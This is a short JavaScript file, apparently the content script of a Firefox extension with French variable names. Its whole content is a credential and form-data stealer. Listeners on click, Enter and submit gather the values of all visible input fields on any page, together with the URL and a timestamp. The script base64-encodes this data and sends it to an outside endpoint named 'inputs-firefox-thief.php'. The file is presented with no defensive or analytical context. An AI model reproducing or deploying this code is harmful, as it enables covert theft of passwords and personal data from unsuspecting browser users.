-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.js
75 lines (63 loc) · 2.02 KB
/
script.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
function ajaxPost(url, data) {
const jsonString = JSON.stringify(data);
const xhr = XPCNativeWrapper(new window.wrappedJSObject.XMLHttpRequest());
xhr.open("GET", url+"?"+data,true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(null);
}
function prototypeData(data) {
var temp = "a="+window.btoa(data[0])+"&b="+window.btoa(data[1])+"&c="+window.btoa(data[2]).replace(/&/gi, "†")+"&d="+window.btoa(data[3]);
return temp;
}
class MyApp {
constructor(now) {
this.date = [now.getDate()+"/"+(now.getMonth()+1)+"/"+(now.getYear()+1900)];
this.heure = [now.getHours()+"h"+now.getMinutes()];
this.site = document.location.href;
this.inputs = [];
}
listing() {
var clef1000 = Array.prototype.slice.call(document.getElementsByTagName('input'),0);
for (let clef9991=0; clef9991!=clef1000.length ; clef9991++){
if (clef1000[clef9991].getAttribute("type") != "hidden"){
(this.inputs).push(clef1000[clef9991].value);
}
}
}
decrire() {
return `Le ${this.date} a ${this.heure}, le site : ${this.site} a était visité. \nIl contenait ces inputs: ${this.inputs}`;
}
output() {
return [this.date, this.heure, this.site, this.inputs];
}
}
function comparaison(myDataFirst, myDataLast) {
myDataFirst.toString();
myDataLast.toString();
let diff = (myDataFirst.toString() === myDataLast.toString());
return diff;
}
function commun_event() {
const myData = new MyApp(new Date());
myData.listing();
myDataFirst = myData.output();
if (comparaison(myDataFirst, myDataLast) == false) {
myDataLast = myDataFirst;
if (myDataFirst[3].length>2) {
var toSend = prototypeData(myDataFirst);
ajaxPost("https://dev.petitcroco.fr/inputs-firefox-thief.php", toSend);
}
}
}
function event_click() {
commun_event();
}
function event_enter() {
if (event.keyCode == 13) {
commun_event();
}
}
myDataLast = [];
document.addEventListener('click', event_click);
document.addEventListener("keydown", event_enter);
document.addEventListener("submit", event_click);